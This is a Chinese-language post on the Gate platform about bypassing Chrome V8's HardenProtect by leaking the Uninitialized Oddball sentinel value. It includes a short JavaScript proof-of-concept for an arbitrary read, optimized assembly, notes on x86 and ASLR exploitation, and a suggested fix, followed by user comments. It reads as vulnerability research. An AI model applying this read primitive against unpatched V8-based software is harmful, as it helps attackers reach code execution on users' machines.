Chrome V8引擎再現安全漏洞:Sentinel Value泄露可繞過沙箱

robot
摘要生成中

通過泄露Sentinel Value繞過Chrome V8 HardenProtect

Sentinel value是算法中的特殊值,常用於循環或遞歸算法的終止條件。Chrome源碼中存在多個Sentinel value。之前有研究指出如何利用TheHole對象泄露實現沙箱內任意代碼執行。本文將討論另一個V8原生對象 - Uninitialized Oddball,該方法目前仍可用於最新版V8。

這種方法具有普遍性:

  1. Issue1216437中首先提出了泄露internal uninitialized oddball的概念。

  2. Issue1314616中也直接泄露了UninitializedOddball,雖然當時利用方法尚不清晰。

  3. Issue1352549值得關注其潛在影響。

目前某些軟件仍未修復該漏洞。

V8中的大多數原生對象定義在v8/src/roots/roots.h文件中,這些對象在內存中相鄰排布。一旦將不應泄露的原生對象暴露給JavaScript,就可能實現沙箱內任意代碼執行。

爲驗證該方法,可以修改V8的native函數,將Uninitialized Oddball泄露到JavaScript中。具體可修改%TheHole()函數中相對isolate的偏移。

該繞過方法的核心代碼如下:

javascript function read(obj, prop) { return obj[prop]; }

let uninitialized_oddball = %TheHole(); let arr = [1.1, 2.2, 3.3];

for (let i = 0; i < 100000; i++) { read(arr, 0);
}

let val = read(uninitialized_oddball, 0); console.log(val);

在V8 11.0.0中測試,當%TheHole()返回UninitializedOddball時,仍可實現相對任意讀。

獨家揭祕通過泄露Sentinel Value繞過Chrome v8 HardenProtect

優化後的read函數關鍵匯編如下:

0x558b20004086 mov r11,rdi 0x558b20004089 movzx edi,byte ptr [r11+0xb] 0x558b2000408d cmp edi,0x81 0x558b20004093 jnz 0x558b200040d8 0x558b20004095 mov r9,qword ptr [r11+0xf] 0x558b20004099 test esi,esi 0x558b2000409b js 0x558b200040d8 0x558b2000409d movsxd r11,esi 0x558b200040a0 cmp r11,qword ptr [r9+0xf] 0x558b200040a4 jae 0x558b200040d8 0x558b200040a6 vmovsd xmm0,[r9+r11*8+0x7]

當傳入uninitialized_oddball時,從0x558b20004086開始以obj爲起點計算,最終在vmovsd指令中完成任意讀,數據保存在xmm0寄存器中。

獨家揭祕通過泄露Sentinel Value繞過Chrome v8 HardenProtect

建議修復方法是在優化後的函數返回數組元素時,添加對數組map的檢查,避免直接計算偏移返回數組值。

值得注意的是,某些軟件仍未修復該漏洞。x86平台下利用方式略有不同,由於沒有地址壓縮,任意讀寫是相對於整個進程的。即使開啓了ASLR,由於文件過大,仍有較大概率讀寫到目標內容。

這種新的繞過方法大大降低了之前類似漏洞的利用難度。建議重新審視所有泄露uninitialized_oddball的漏洞。

V8中還存在其他Sentinel value,它們同樣可能導致類似問題。這給我們以下啓示:

  1. 其他uninitialized_Oddball泄露是否也易於實現V8 RCE。

  2. 此類問題是否應被正式視爲安全問題仍存在爭議。

  3. Fuzzer中是否應將Sentinel value作爲變量加入以發掘新的利用原語。

無論如何,這類問題都會大大縮短黑客實現完整利用的週期。

獨家揭祕通過泄露Sentinel Value繞過Chrome v8 HardenProtect

獨家揭祕通過泄露Sentinel Value繞過Chrome v8 HardenProtect

獨家揭祕通過泄露Sentinel Value繞過Chrome v8 HardenProtect

獨家揭祕通過泄露Sentinel Value繞過Chrome v8 HardenProtect

獨家揭祕通過泄露Sentinel Value繞過Chrome v8 HardenProtect

獨家揭祕通過泄露Sentinel Value繞過Chrome v8 HardenProtect

獨家揭祕通過泄露Sentinel Value繞過Chrome v8 HardenProtect

查看原文
此页面可能包含第三方内容,仅供参考(非陈述/保证),不应被视为 Gate 认可其观点表述,也不得被视为财务或专业建议。详见声明
  • 讚賞
  • 5
  • 分享
留言
0/400
ZK证明爱好者vip
· 07-09 11:53
众所周知 V8驱动世界
回復0
SleepyValidatorvip
· 07-06 23:01
Chrome 真不是盖的啊 稳
回復0
闪电佬vip
· 07-06 17:06
漏洞这么大居然还没修?
回復0
ForkItAllvip
· 07-06 17:00
v8这漏洞真是ybb啊
回復0
FUD Vaccinatorvip
· 07-06 16:51
又一个重大漏洞 一直用火狐真香
回復0
交易,隨時隨地
qrCode
掃碼下載 Gate APP
社群列表
繁體中文
  • 简体中文
  • English
  • Tiếng Việt
  • 繁體中文
  • Español
  • Русский
  • Français (Afrique)
  • Português (Portugal)
  • Bahasa Indonesia
  • 日本語
  • بالعربية
  • Українська
  • Português (Brasil)